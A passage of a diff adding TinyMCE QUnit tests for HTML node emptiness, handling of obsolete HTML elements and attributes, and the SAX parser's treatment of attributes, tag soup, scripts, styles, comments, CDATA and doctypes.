+	node2 = node1.append(new tinymce.html.Node('b', 1));
+	ok(root.isEmpty({img: 1}), 'Is empty 1');
+	ok(node1.isEmpty({img: 1}), 'Is empty 2');
+
+	root = new tinymce.html.Node('#frag', 11);
+	node1 = root.append(new tinymce.html.Node('p', 1));
+	node2 = node1.append(new tinymce.html.Node('img', 1));
+	ok(!root.isEmpty({img: 1}), 'Is not empty 1');
+	ok(!node1.isEmpty({img: 1}), 'Is not empty 2');
+
+	root = new tinymce.html.Node('#frag', 11);
+	node1 = root.append(new tinymce.html.Node('p', 1));
+	node2 = node1.append(new tinymce.html.Node('#text', 3));
+	node2.value = 'X';
+	ok(!root.isEmpty({img: 1}), 'Is not empty 3');
+	ok(!node1.isEmpty({img: 1}), 'Is not empty 4');
+
+	root = new tinymce.html.Node('#frag', 11);
+	node1 = root.append(new tinymce.html.Node('p', 1));
+	node2 = node1.append(new tinymce.html.Node('#text', 3));
+	node2.value = '';
+	ok(root.isEmpty({img: 1}), 'Is empty 4');
+	ok(node1.isEmpty({img: 1}), 'Is empty 5');
+
+	root = new tinymce.html.Node('#frag', 11);
+	node1 = root.append(new tinymce.html.Node('a', 1)).attr('name', 'x');
+	ok(!root.isEmpty({img: 1}), 'Contains anchor with name attribute.');
+});
Index: /tags/4.1.6/tests/qunit/editor/tinymce/html/Obsolete.js
===================================================================
--- /tags/4.1.6/tests/qunit/editor/tinymce/html/Obsolete.js	(revision 33402)
+++ /tags/4.1.6/tests/qunit/editor/tinymce/html/Obsolete.js	(revision 33402)
@@ -0,0 +1,263 @@
+module( 'tinymce.html.Obsolete', {
+	setupModule: function() {
+		QUnit.stop();
+
+		tinymce.init({
+			selector: 'textarea',
+			plugins: wpPlugins,
+			add_unload_trigger : false,
+			skin: false,
+			indent : false,
+			entities : 'raw',
+			plugins: 'media',
+			convert_urls : false,
+			init_instance_callback : function(ed) {
+				window.editor = ed;
+				QUnit.start();
+			}
+		});
+	}
+});
+
+/**
+ * Test whether attribute exists in a HTML string
+ *
+ * @param html The HTML string
+ * @param attr string|object When string, test for the first instance of attr.
+ *			When object, break up the HTML string into individual tags and test for attr in the specified tag.
+ *			Format: { tagName: 'attr1 attr2', ... }
+ * @return bool
+ */
+function hasAttr( html, attr ) {
+	var tagName, tags, tag, array, regex, i;
+
+	if ( typeof attr === 'string' ) {
+		return new RegExp( ' \\b' + attr + '\\b' ).test( html );
+	}
+
+	for ( tagName in attr ) {
+		if ( tags = html.match( new RegExp( '<' + tagName + ' [^>]+>', 'g' ) ) ) {
+			for ( tag in tags ) {
+				array = attr[tagName].split(' ');
+
+				for ( i in array ) {
+					regex = new RegExp( '\\b' + array[i] + '\\b' );
+
+					if ( regex.test( tags[tag] ) ) {
+						attr[tagName] = attr[tagName].replace( regex, '' );
+					}
+				}
+			}
+
+			if ( attr[tagName].replace( / +/g, '' ).length ) {
+				return false;
+			}
+		}
+	}
+	return true;
+}
+
+// Ref: http://www.w3.org/TR/html5/obsolete.html, http://developers.whatwg.org/obsolete.html
+
+test('HTML elements non-conforming to HTML 5.0', function() {
+	var testString;
+
+	/*
+	Not supported, deprecated in HTML 4.0 or earlier, and/or proprietary:
+		applet
+		bgsound
+		dir
+		frame
+		frameset
+		noframes
+		isindex
+		listing
+		nextid
+		noembed
+		plaintext
+		rb
+		xmp
+		basefont
+		blink
+		marquee
+		multicol
+		nobr
+		spacer
+
+	The rest are still supported in TinyMCE but "...must not be used by authors".
+	*/
+
+	expect(6);
+
+	text = 'acronym';
+	testString = '<p><acronym title="www">WWW</acronym></p>';
+	editor.setContent( testString );
+	equal( editor.getContent(), testString, text );
+
+	text = 'strike, converted to span';
+	editor.setContent( '<strike>test</strike>' );
+	equal( editor.getContent(), '<p><span style="text-decoration: line-through;">test</span></p>', text );
+
+	text = 'big';
+	testString = '<p><big>test</big></p>';
+	editor.setContent( testString );
+	equal( editor.getContent(), testString, text );
+
+	text = 'center';
+	testString = '<center>test</center>';
+	editor.setContent( testString );
+	equal( editor.getContent(), testString, text );
+
+	text = 'font, converted to span';
+	editor.setContent( '<p><font size="4">test</font></p>' );
+	equal( editor.getContent(), '<p><span style="font-size: large;">test</span></p>', text );
+
+	text = 'tt';
+	testString = '<p><tt>test</tt></p>';
+	editor.setContent( testString );
+	equal( editor.getContent(), testString, text );
+});
+
+test('Obsolete (but still conforming) HTML attributes', function() {
+	var testString;
+
+	expect(3);
+
+	text = 'border on <img>';
+	testString = '<p><img src="../../test.gif" alt="" border="5" /></p>';
+	editor.setContent( testString );
+	equal( editor.getContent(), testString, text );
+
+	text = 'Old style anchors';
+	testString = '<p><a name="test"></a></p>';
+	editor.setContent( testString );
+	equal( editor.getContent(), testString, text );
+
+	text = 'maxlength, size on input type="number"';
+	testString = '<p><input maxlength="5" size="10" type="number" value="" /></p>';
+	editor.setContent( testString );
+	ok( hasAttr( editor.getContent(), { input: 'maxlength size' } ), text );
+});
+
+test('Obsolete attributes in HTML 5.0', function() {
+	var testString, text;
+
+	expect(22);
+
+	text = 'charset, rev, shape, coords on <a> elements';
+	testString = '<p><a href="javascript;:" charset="en" rev="made" shape="rect" coords="5,5">test</a></p>';
+	editor.setContent( testString );
+	ok( hasAttr( editor.getContent(), { a: 'charset rev shape coords' } ), text );
+
+	text = 'name, align, hspace, vspace on img elements';
+	testString = '<p><img src="../../test.gif" alt="" name="test" align="left" hspace="5" vspace="5" /></p>';
+	editor.setContent( testString );
+	ok( hasAttr( editor.getContent(), { img: 'name align hspace vspace' } ), text );
+
+	text = 'name, align, hspace, vspace, on embed elements';
+	testString = '<p><embed width="100" height="100" src="test.swf" vspace="5" hspace="5" align="left" name="test"></embed></p>';
+	editor.setContent( testString );
+	ok( hasAttr( editor.getContent(), { embed: 'name align hspace vspace' } ), text );
+
+	text = 'archive, classid, code, codebase, codetype, declare, standby on object elements';
+	testString = '<p><object width="100" height="100" classid="clsid" codebase="clsid" standby="standby" codetype="1" code="1" archive="1" declare="declare"></object></p>';
+	editor.setContent( testString );
+	ok( hasAttr( editor.getContent(), { object: 'archive classid code codebase codetype declare standby' } ), text );
+
+	text = 'type, valuetype on param elements';
+	testString = '<p><object width="100" height="100"><param type="" valuetype="" /></object></p>';
+	editor.setContent( testString );
+	ok( hasAttr( editor.getContent(), { param: 'type valuetype' } ), text );
+
+	text = 'align, bgcolor, border, cellpadding, cellspacing, frame, rules, summary, width on table elements';
+	testString = '<table border="1" summary="" width="100" frame="" rules="" cellspacing="5" cellpadding="5" align="left" bgcolor="blue"><tbody><tr><td>test</td></tr></tbody></table>';
+	editor.setContent( testString );
+	ok( hasAttr( editor.getContent(), { table: 'align bgcolor border cellpadding cellspacing frame rules summary width' } ), text );
+
+	text = 'align, char, charoff, valign on tbody, thead, and tfoot elements';
+	testString = '<table><thead align="left" char="" charoff="" valign="top"></thead><tfoot align="left" char="" charoff="" valign="top"></tfoot><tbody align="left" char="" charoff="" valign="top"><tr><th>test</th><td>test</td></tr></tbody></table>';
+	editor.setContent( testString );
+	ok( hasAttr( editor.getContent(), {
+		thead: 'align char charoff valign',
+		tfoot: 'align char charoff valign',
+		tbody: 'align char charoff valign'
+	} ), text );
+
+	text = 'axis, align, bgcolor, char, charoff, height, nowrap, valign, width on td and th elements, scope on td elements';
+	testString = '<table><tbody><tr><th axis="" align="left" char="" charoff="" valign="top" nowrap="nowrap" bgcolor="blue" width="100" height="10">test</th><td axis="" align="left" char="" charoff="" valign="top" nowrap="nowrap" bgcolor="blue" width="100" height="10" scope="">test</td></tr></tbody></table>';
+	editor.setContent( testString );
+	ok( hasAttr( editor.getContent(), {
+		th: 'axis align bgcolor char charoff height nowrap valign width',
+		td: 'axis align bgcolor char charoff height nowrap valign width scope'
+	} ), text );
+
+	text = 'align, bgcolor, char, charoff, valign on tr elements';
+	testString = '<table><tbody><tr align="left" char="" charoff="" valign="top" bgcolor="blue"><td>test</td></tr></tbody></table>';
+	editor.setContent( testString );
+	ok( hasAttr( editor.getContent(), { tr: 'align bgcolor char charoff valign' } ), text );
+
+	text = 'clear on br elements';
+	testString = '<p>test<br clear="all" />test</p>';
+	editor.setContent( testString );
+	equal( editor.getContent(), testString, text );
+
+	text = 'align on caption elements';
+	testString = '<table><caption align="left">test</caption><tbody><tr><td>test</td></tr></tbody></table>';
+	editor.setContent( testString );
+	equal( editor.getContent(), testString, text );
+
+	text = 'align, char, charoff, valign, width on col elements';
+	testString = '<table><colgroup><col width="100" align="left" char="a" charoff="1" valign="top" /><col /></colgroup><tbody><tr><td>test</td><td>test</td></tr></tbody></table>';
+	editor.setContent( testString );
+	ok( hasAttr( editor.getContent(), { col: 'align char charoff valign width' } ), text );
+
+	text = 'align on div, h1—h6, input, legend, p elements';
+	testString = '<div align="left">1</div><h3 align="left">1</h3><p align="left">1</p><form><fieldset><legend align="left">test</legend><input type="text" align="left" /></fieldset></form>';
+	editor.setContent( testString );
+	equal( editor.getContent(), testString, text );
+
+	text = 'compact on dl elements';
+	testString = '<dl compact="compact"><dd>1</dd></dl>';
+	editor.setContent( testString );
+	equal( editor.getContent(), testString, text );
+
+	text = 'align, hspace, vspace on embed elements';
+	testString = '<p><embed width="100" height="100" vspace="5" hspace="5" align="left"></embed></p>';
+	editor.setContent( testString );
+	ok( hasAttr( editor.getContent(), { embed: 'align hspace vspace' } ), text );
+
+	text = 'align, noshade, size, width on hr elements';
+	testString = '<hr align="left" noshade="noshade" size="1" width="100" />';
+	editor.setContent( testString );
+	ok( hasAttr( editor.getContent(), { hr: 'align noshade size width' } ), text );
+
+	text = 'align, frameborder, marginheight, marginwidth, scrolling on iframe elements';
+	testString = '<p><iframe width="100" height="100" frameborder="1" marginwidth="5" marginheight="5" scrolling="" align="left"></iframe></p>';
+	editor.setContent( testString );
+	ok( hasAttr( editor.getContent(), { iframe: 'align frameborder marginheight marginwidth scrolling' } ), text );
+
+	text = 'type on li elements';
+	testString = '<ul><li type="disc">test</li></ul>';
+	editor.setContent( testString );
+	equal( editor.getContent(), testString, text );
+
+	text = 'align, border, hspace, vspace on object elements';
+	testString = '<p><object width="100" height="100" border="1" vspace="5" hspace="5" align="left"></object></p>';
+	editor.setContent( testString );
+	ok( hasAttr( editor.getContent(), { object: 'align border hspace vspace' } ), text );
+
+	text = 'compact on ol elements';
+	testString = '<ol compact="compact"><li>test</li></ol>';
+	editor.setContent( testString );
+	equal( editor.getContent(), testString, text );
+
+	text = 'compact, type on ul elements';
+	testString = '<ul type="disc" compact="compact"><li>test</li></ul>';
+	editor.setContent( testString );
+	ok( hasAttr( editor.getContent(), { ul: 'compact type' } ), text );
+
+	text = 'width on pre elements';
+	testString = '<pre width="100">1</pre>';
+	editor.setContent( testString );
+	equal( editor.getContent(), testString, text );
+});
Index: /tags/4.1.6/tests/qunit/editor/tinymce/html/SaxParser.js
===================================================================
--- /tags/4.1.6/tests/qunit/editor/tinymce/html/SaxParser.js	(revision 33402)
+++ /tags/4.1.6/tests/qunit/editor/tinymce/html/SaxParser.js	(revision 33402)
@@ -0,0 +1,721 @@
+(function() {
+	module("tinymce.html.SaxParser");
+
+	var writer = new tinymce.html.Writer(), schema = new tinymce.html.Schema();
+
+	function createCounter(writer) {
+		var counts = {};
+
+		return {
+			counts : counts,
+
+			comment: function(text) {
+				if ("comment" in counts) {
+					counts.comment++;
+				} else {
+					counts.comment = 1;
+				}
+
+				writer.comment(text);
+			},
+
+			cdata: function(text) {
+				if ("cdata" in counts) {
+					counts.cdata++;
+				} else {
+					counts.cdata = 1;
+				}
+
+				writer.cdata(text);
+			},
+
+			text: function(text, raw) {
+				if ("text" in counts) {
+					counts.text++;
+				} else {
+					counts.text = 1;
+				}
+
+				writer.text(text, raw);
+			},
+
+			start: function(name, attrs, empty) {
+				if ("start" in counts) {
+					counts.start++;
+				} else {
+					counts.start = 1;
+				}
+
+				writer.start(name, attrs, empty);
+			},
+
+			end: function(name) {
+				if ("end" in counts) {
+					counts.end++;
+				} else {
+					counts.end = 1;
+				}
+
+				writer.end(name);
+			},
+
+			pi: function(name, text) {
+				if ("pi" in counts) {
+					counts.pi++;
+				} else {
+					counts.pi = 1;
+				}
+
+				writer.pi(name, text);
+			},
+
+			doctype: function(text) {
+				if ("doctype:" in counts) {
+					counts.doctype++;
+				} else {
+					counts.doctype = 1;
+				}
+
+				writer.doctype(text);
+			}
+		};
+	}
+
+	test('Parse elements', function() {
+		var counter, parser;
+
+		expect(48);
+
+		counter = createCounter(writer);
+		parser = new tinymce.html.SaxParser(counter, schema);
+		writer.reset();
+		parser.parse('<span id=id1 title="title value" class=\'class1 class2\' data-value="value1" MYATTR="val1" myns:myattr="val2" disabled empty=""></span>');
+		equal(writer.getContent(), '<span id="id1" title="title value" class="class1 class2" data-value="value1" myattr="val1" myns:myattr="val2" disabled="disabled" empty=""></span>', 'Parse attribute formats.');
+		deepEqual(counter.counts, {start:1, end:1}, 'Parse attribute formats counts.');
+
+		counter = createCounter(writer);
+		parser = new tinymce.html.SaxParser(counter, schema);
+		writer.reset();
+		parser.parse('<b href=\'"&amp;<>\'></b>');
+		equal(writer.getContent(), '<b href="&quot;&amp;&lt;&gt;"></b>', 'Parse attributes with <> in them.');
+		deepEqual(counter.counts, {start:1, end:1}, 'Parse attributes with <> in them (count).');
+
+		counter = createCounter(writer);
+		parser = new tinymce.html.SaxParser(counter, schema);
+		writer.reset();
+		parser.parse('<span title=" "class=" "></span>');
+		equal(writer.getContent(), '<span title=" " class=" "></span>', 'Parse compressed attributes.');
+		deepEqual(counter.counts, {start:1, end:1}, 'Parse compressed attributes (count).');
+
+		counter = createCounter(writer);
+		parser = new tinymce.html.SaxParser(counter, schema);
+		writer.reset();
+		parser.parse('<span title></span>');
+		equal(writer.getContent(), '<span title=""></span>', 'Single empty attribute.');
+		deepEqual(counter.counts, {start:1, end:1}, 'Single empty attributes (count).');
+
+		counter = createCounter(writer);
+		parser = new tinymce.html.SaxParser(counter, schema);
+		writer.reset();
+		parser.parse('<span class="class" title></span>');
+		equal(writer.getContent(), '<span class="class" title=""></span>', 'Empty attribute at end.');
+		deepEqual(counter.counts, {start:1, end:1}, 'Empty attribute at end (count).');
+
+		counter = createCounter(writer);
+		parser = new tinymce.html.SaxParser(counter, schema);
+		writer.reset();
+		parser.parse('<span title class="class"></span>');
+		equal(writer.getContent(), '<span title="" class="class"></span>', 'Empty attribute at start.');
+		deepEqual(counter.counts, {start:1, end:1}, 'Empty attribute at start (count).');
+
+		counter = createCounter(writer);
+		parser = new tinymce.html.SaxParser(counter, schema);
+		writer.reset();
+		parser.parse('<img src="test">');
+		equal(writer.getContent(), '<img src="test" />', 'Parse empty element.');
+		deepEqual(counter.counts, {start:1}, 'Parse empty element counts.');
+
+		counter = createCounter(writer);
+		parser = new tinymce.html.SaxParser(counter, schema);
+		writer.reset();
+		parser.parse('<img\nsrc="test"\ntitle="row1\nrow2">');
+		equal(writer.getContent(), '<img src="test" title="row1\nrow2" />', 'Parse attributes with linebreak.');
+		deepEqual(counter.counts, {start: 1}, 'Parse attributes with linebreak counts.');
+
+		counter = createCounter(writer);
+		parser = new tinymce.html.SaxParser(counter, schema);
+		writer.reset();
+		parser.parse('<img     \t  \t   src="test"     \t  \t   title="\t    row1\t     row2">');
+		equal(writer.getContent(), '<img src="test" title="\t    row1\t     row2" />', 'Parse attributes with whitespace.');
+		deepEqual(counter.counts, {start: 1}, 'Parse attributes with whitespace counts.');
+
+		counter = createCounter(writer);
+		parser = new tinymce.html.SaxParser(counter, schema);
+		writer.reset();
+		parser.parse('<myns:mytag>text</myns:mytag>');
+		equal(writer.getContent(), '<myns:mytag>text</myns:mytag>', 'Parse element with namespace.');
+		deepEqual(counter.counts, {start:1, text:1, end: 1}, 'Parse element with namespace counts.');
+
+		counter = createCounter(writer);
+		parser = new tinymce.html.SaxParser(counter, schema);
+		writer.reset();
+		parser.parse('<myns-mytag>text</myns-mytag>');
+		equal(writer.getContent(), '<myns-mytag>text</myns-mytag>', 'Parse element with dash name.');
+		deepEqual(counter.counts, {start:1, text:1, end:1}, 'Parse element with dash name counts.');
+
+		counter = createCounter(writer);
+		parser = new tinymce.html.SaxParser(counter, schema);
+		writer.reset();
+		parser.parse('<myns_mytag>text</myns_mytag>');
+		equal(writer.getContent(), '<myns_mytag>text</myns_mytag>', 'Parse element with underscore name.');
+		deepEqual(counter.counts, {start:1, text:1, end:1}, 'Parse element with underscore name counts.');
+
+		counter = createCounter(writer);
+		parser = new tinymce.html.SaxParser(counter, schema);
+		writer.reset();
+		parser.parse('text1<p>text2<b>text3</p>text4</b>text5');
+		equal(writer.getContent(), 'text1<p>text2<b>text3</b></p>text4text5', 'Parse tag soup 1.');
+		deepEqual(counter.counts, {text:5, start: 2, end: 2}, 'Parse tag soup 1 counts.');
+
+		counter = createCounter(writer);
+		parser = new tinymce.html.SaxParser(counter, schema);
+		writer.reset();
+		parser.parse('text1<P>text2<B>text3</p>text4</b>text5');
+		equal(writer.getContent(), 'text1<p>text2<b>text3</b></p>text4text5', 'Parse tag soup 2.');
+		deepEqual(counter.counts, {text: 5, start: 2, end: 2}, 'Parse tag soup 2 counts.');
+
+		counter = createCounter(writer);
+		parser = new tinymce.html.SaxParser(counter, schema);
+		writer.reset();
+		parser.parse('text1<P>text2<B>tex<t3</p>te>xt4</b>text5');
+		equal(writer.getContent(), 'text1<p>text2<b>tex&lt;t3</b></p>te&gt;xt4text5', 'Parse tag soup 3.');
+		deepEqual(counter.counts, {text: 5, start: 2, end: 2}, 'Parse tag soup 3 counts.');
+
+		counter = createCounter(writer);
+		parser = new tinymce.html.SaxParser(counter, schema);
+		writer.reset();
+		parser.parse('text1<p>text2<b>text3');
+		equal(writer.getContent(), 'text1<p>text2<b>text3</b></p>', 'Parse tag soup 4.');
+		deepEqual(counter.counts, {text: 3, start: 2, end: 2}, 'Parse tag soup 4 counts.');
+
+		counter = createCounter(writer);
+		parser = new tinymce.html.SaxParser(counter, schema);
+		writer.reset();
+		parser.parse('text1<script>text2');
+		equal(writer.getContent(), 'text1<script>text2</s' + 'cript>', 'Parse tag soup 5.');
+		deepEqual(counter.counts, {text: 2, start: 1, end: 1}, 'Parse tag soup 5 counts.');
+
+		counter = createCounter(writer);
+		parser = new tinymce.html.SaxParser(counter, schema);
+		writer.reset();
+		parser.parse('text1<style>text2');
+		equal(writer.getContent(), 'text1<style>text2</st' + 'yle>', 'Parse tag soup 6.');
+		deepEqual(counter.counts, {text: 2, start: 1, end: 1}, 'Parse tag soup 6 counts.');
+
+		counter = createCounter(writer);
+		parser = new tinymce.html.SaxParser(counter, schema);
+		writer.reset();
+		parser.parse('text1<span title="<test" data-test="test>"></span>');
+		equal(writer.getContent(), 'text1<span title="&lt;test" data-test="test&gt;"></span>', 'Parse element with </> in attributes.');
+		deepEqual(counter.counts, {text: 1, start: 1, end: 1}, 'Parse element with </> in attributes counts.');
+
+		counter = createCounter(writer);
+		parser = new tinymce.html.SaxParser(counter, schema);
+		writer.reset();
+		parser.parse("text\n<SC"+"RIPT type=mce-text/javascript>// <![CDATA[\nalert('HELLO WORLD!');\n// ]]></SC"+"RIPT>");
+		equal(writer.getContent(), "text\n<sc"+"ript type=\"mce-text/javascript\">// <![CDATA[\nalert('HELLO WORLD!');\n// ]]></sc"+"ript>", 'Parse cdata script.');
+		deepEqual(counter.counts, {text: 2, start: 1, end: 1}, 'Parse cdata script counts.');
+
+		counter = createCounter(writer);
+		parser = new tinymce.html.SaxParser(counter, schema);
+		writer.reset();
+		parser.parse('text1<noscript>te<br>xt2</noscript>text3');
+		equal(writer.getContent(), 'text1<noscript>te<br>xt2</noscript>text3', 'Parse noscript elements.');
+		deepEqual(counter.counts, {text: 3, start: 1, end: 1}, 'Parse noscript elements counts.');
+
+		counter = createCounter(writer);
+		parser = new tinymce.html.SaxParser(counter, schema);
+		writer.reset();
+		parser.parse('<p>a</p><p /><p>b</p>');
+		equal(writer.getContent(), '<p>a</p><p></p><p>b</p>', 'Parse invalid closed element.');
+		deepEqual(counter.counts, {text: 2, start: 3, end: 3}, 'Parse invalid closed element counts.');
+
+		counter = createCounter(writer);
+		parser = new tinymce.html.SaxParser(counter, schema);
+		writer.reset();
+		parser.parse('<br><br /><br/>');
+		equal(writer.getContent(), '<br /><br /><br />', 'Parse short ended elements.');
+		deepEqual(counter.counts, {start: 3}, 'Parse short ended elements counts.');
+
+		counter = createCounter(writer);
+		parser = new tinymce.html.SaxParser(counter, schema);
+		writer.reset();
+		parser.parse('<p ></p>');
+		equal(writer.getContent(), '<p></p>', 'Parse start elements with whitespace only attribs part.');
+		deepEqual(counter.counts, {start: 1, end: 1}, 'Parse start elements with whitespace only attribs part (counts).');
+	});
+
+	test('Parse style elements', function() {
+		var counter, parser;
+
+		expect(8);
+
+		counter = createCounter(writer);
+		parser = new tinymce.html.SaxParser(counter, schema);
+		writer.reset();
+		parser.parse('text1<em><style>// <b>tag</b></st' + 'yle>text2</em>');
+		equal(writer.getContent(), 'text1<em><style>// <b>tag</b></st' + 'yle>text2</em>', 'Parse style element.');
+		deepEqual(counter.counts, {start: 2, end: 2, text: 3}, 'Parse style element counts.');
+
+		counter = createCounter(writer);
+		parser = new tinymce.html.SaxParser(counter, schema);
+		writer.reset();
+		parser.parse('text1<em><style id="id">// <b>tag</b></st' + 'yle>text2</em>');
+		equal(writer.getContent(), 'text1<em><style id="id">// <b>tag</b></st' + 'yle>text2</em>', 'Parse style element with attributes.');
+		deepEqual(counter.counts, {text:3, start:2, end:2}, 'Parse style element with attributes counts.');
+
+		counter = createCounter(writer);
+		parser = new tinymce.html.SaxParser(counter, schema);
+		writer.reset();
+		parser.parse('text1<em><style></st' + 'yle>text2</span>');
+		equal(writer.getContent(), 'text1<em><style></st' + 'yle>text2</em>', 'Parse empty style element.');
+		deepEqual(counter.counts, {text:2, start:2, end:2}, 'Parse empty style element counts.');
+
+		counter = createCounter(writer);
+		parser = new tinymce.html.SaxParser(tinymce.extend({validate : true}, counter), new tinymce.html.Schema({invalid_elements: 'style'}));
+		writer.reset();
+		parser.parse('text1<em><style>text2</st' + 'yle>text3</em>');
+		equal(writer.getContent(), 'text1<em>text3</em>', 'Parse invalid style element.');
+		deepEqual(counter.counts, {text:2, start:1, end:1}, 'Parse invalid style element (count).');
+	});
+
+	test('Parse script elements', function() {
+		var counter, parser;
+
+		expect(8);
+
+		counter = createCounter(writer);
+		parser = new tinymce.html.SaxParser(counter, schema);
+		writer.reset();
+		parser.parse('text1<em><script>// <b>tag</b></s' + 'cript>text2</em>');
+		equal(writer.getContent(), 'text1<em><script>// <b>tag</b></s' + 'cript>text2</em>', 'Parse script element.');
+		deepEqual(counter.counts, {start:2, end:2, text:3}, 'Parse script element counts.');
+
+		counter = createCounter(writer);
+		parser = new tinymce.html.SaxParser(counter, schema);
+		writer.reset();
+		parser.parse('text1<em><script id="id">// <b>tag</b></s' + 'cript>text2</em>');
+		equal(writer.getContent(), 'text1<em><script id="id">// <b>tag</b></s' + 'cript>text2</em>', 'Parse script element with attributes.');
+		deepEqual(counter.counts, {start:2, end:2, text:3}, 'Parse script element with attributes counts.');
+
+		counter = createCounter(writer);
+		parser = new tinymce.html.SaxParser(counter, schema);
+		writer.reset();
+		parser.parse('text1<em><script></s' + 'cript>text2</em>');
+		equal(writer.getContent(), 'text1<em><script></s' + 'cript>text2</em>', 'Parse empty script element.');
+		deepEqual(counter.counts, {text: 2, start:2, end: 2}, 'Parse empty script element counts.');
+
+		counter = createCounter(writer);
+		parser = new tinymce.html.SaxParser(tinymce.extend({validate : true}, counter), new tinymce.html.Schema({invalid_elements: 'script'}));
+		writer.reset();
+		parser.parse('text1<em><s' + 'cript>text2</s' + 'cript>text3</em>');
+		equal(writer.getContent(), 'text1<em>text3</em>', 'Parse invalid script element.');
+		deepEqual(counter.counts, {text:2, start:1, end:1}, 'Parse invalid script element (count).');
+	});
+
+	test('Parse text', function() {
+		var counter, parser;
+
+		expect(10);
+
+		counter = createCounter(writer);
+		parser = new tinymce.html.SaxParser(counter, schema);
+		writer.reset();
+		parser.parse('');
+		equal(writer.getContent(), '', 'Parse empty.');
+		deepEqual(counter.counts, {}, 'Parse empty counts.');
+
+		counter = createCounter(writer);
+		parser = new tinymce.html.SaxParser(counter, schema);
+		writer.reset();
+		parser.parse('text');
+		equal(writer.getContent(), 'text', 'Parse single text node.');
+		deepEqual(counter.counts, {text: 1}, 'Parse single text node counts.');
+
+		counter = createCounter(writer);
+		parser = new tinymce.html.SaxParser(counter, schema);
+		writer.reset();
+		parser.parse('<b>text</b>');
+		equal(writer.getContent(), '<b>text</b>', 'Parse wrapped text.');
+		deepEqual(counter.counts, {start:1, text:1, end:1}, 'Parse wrapped text counts');
+
+		counter = createCounter(writer);
+		parser = new tinymce.html.SaxParser(counter, schema);
+		writer.reset();
+		parser.parse('text1<b>text2</b>');
+		equal(writer.getContent(), 'text1<b>text2</b>', 'Parse text at start.');
+		deepEqual(counter.counts, {start:1, text:2, end:1}, 'Parse text at start counts.');
+
+		counter = createCounter(writer);
+		parser = new tinymce.html.SaxParser(counter, schema);
+		writer.reset();
+		parser.parse('<b>text1</b>text2');
+		equal(writer.getContent(), '<b>text1</b>text2', 'Parse text at end.');
+		deepEqual(counter.counts, {start:1, end:1, text:2}, 'Parse text at end counts.');
+	});
+
+	test('Parsing comments', function() {
+		var counter, parser;
+
+		expect(8);
+
+		counter = createCounter(writer);
+		parser = new tinymce.html.SaxParser(counter, schema);
+		writer.reset();
+		parser.parse('<!-- comment value -->');
+		equal(writer.getContent(), '<!-- comment value -->', 'Parse comment with value.');
+		deepEqual(counter.counts, {comment:1}, 'Parse comment with value count.');
+
+		counter = createCounter(writer);
+		parser = new tinymce.html.SaxParser(counter, schema);
+		writer.reset();
+		parser.parse('<!---->');
+		equal(writer.getContent(), '', 'Parse comment without value.');
+		deepEqual(counter.counts, {}, 'Parse comment without value count.');
+
+		counter = createCounter(writer);
+		parser = new tinymce.html.SaxParser(counter, schema);
+		writer.reset();
+		parser.parse('<!--<b></b>-->');
+		equal(writer.getContent(), '<!--<b></b>-->', 'Parse comment with tag inside.');
+		deepEqual(counter.counts, {comment:1}, 'Parse comment with tag inside counts.');
+
+		counter = createCounter(writer);
+		parser = new tinymce.html.SaxParser(counter, schema);
+		writer.reset();
+		parser.parse('<b>a<!-- value -->b</b>');
+		equal(writer.getContent(), '<b>a<!-- value -->b</b>', 'Parse comment with tags around it.');
+		deepEqual(counter.counts, {comment:1, text:2, start:1, end:1}, 'Parse comment with tags around it counts.');
+	});
+
+	test('Parsing cdata', function() {
+		var counter, parser;
+
+		expect(8);
+
+		counter = createCounter(writer);
+		parser = new tinymce.html.SaxParser(counter, schema);
+		writer.reset();
+		parser.parse('<![CDATA[test text]]>');
+		equal(writer.getContent(), '<![CDATA[test text]]>', 'Parse cdata with value.');
+		deepEqual(counter.counts, {cdata:1}, 'Parse cdata with value counts.');
+
+		counter = createCounter(writer);
+		parser = new tinymce.html.SaxParser(counter, schema);
+		writer.reset();
+		parser.parse('<![CDATA[]]>');
+		equal(writer.getContent(), '', 'Parse cdata without value.');
+		deepEqual(counter.counts, {}, 'Parse cdata without value counts.');
+
+		counter = createCounter(writer);
+		parser = new tinymce.html.SaxParser(counter, schema);
+		writer.reset();
+		parser.parse('<![CDATA[<b>a</b>]]>');
+		equal(writer.getContent(), '<![CDATA[<b>a</b>]]>', 'Parse cdata with tag inside.');
+		deepEqual(counter.counts, {cdata:1}, 'Parse cdata with tag inside counts.');
+
+		counter = createCounter(writer);
+		parser = new tinymce.html.SaxParser(counter, schema);
+		writer.reset();
+		parser.parse('<b>a<![CDATA[value]]>b</b>');
+		equal(writer.getContent(), '<b>a<![CDATA[value]]>b</b>', 'Parse cdata with tags around it.');
+		deepEqual(counter.counts, {cdata:1, start:1, end:1, text:2}, 'Parse cdata with tags around it counts.');
+	});
+
+	test('Parse PI', function() {
+		var counter, parser;
+
+		expect(6);
+
+		counter = createCounter(writer);
+		parser = new tinymce.html.SaxParser(counter, schema);
+		writer.reset();
+		parser.parse('<?xml version="1.0" encoding="UTF-8" ?>text1');
+		equal(writer.getContent(), '<?xml version="1.0" encoding="UTF-8" ?>text1', 'Parse PI with attributes.');
+		deepEqual(counter.counts, {pi:1, text:1}, 'Parse PI with attributes counts.');
+
+		counter = createCounter(writer);
+		parser = new tinymce.html.SaxParser(counter, schema);
+		writer.reset();
+		parser.parse('<?xml?>text1');
+		equal(writer.getContent(), '<?xml?>text1', 'Parse PI with no data.');
+		deepEqual(counter.counts, {pi:1, text:1}, 'Parse PI with data counts.');
+
+		counter = createCounter(writer);
+		parser = new tinymce.html.SaxParser(counter, schema);
+		writer.reset();
+		parser.parse('<?xml somevalue/>text1');
+		equal(writer.getContent(), '<?xml somevalue?>text1', 'Parse PI with IE style ending.');
+		deepEqual(counter.counts, {pi:1, text:1}, 'Parse PI with IE style ending counts.');
+	});
+
+	test('Parse doctype', function() {
+		var counter, parser;
+
+		expect(4);
+
+		counter = createCounter(writer);
+		parser = new tinymce.html.SaxParser(counter, schema);
+		writer.reset();
+		parser.parse('<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">text1');
+		equal(writer.getContent(), '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">text1', 'Parse DOCTYPE.');
+		deepEqual(counter.counts, {doctype:1, text:1}, 'Parse HTML5 DOCTYPE counts.');
+
+		counter = createCounter(writer);
+		parser = new tinymce.html.SaxParser(counter, schema);
+		writer.reset();
+		parser.parse('<!DOCTYPE html>text1');
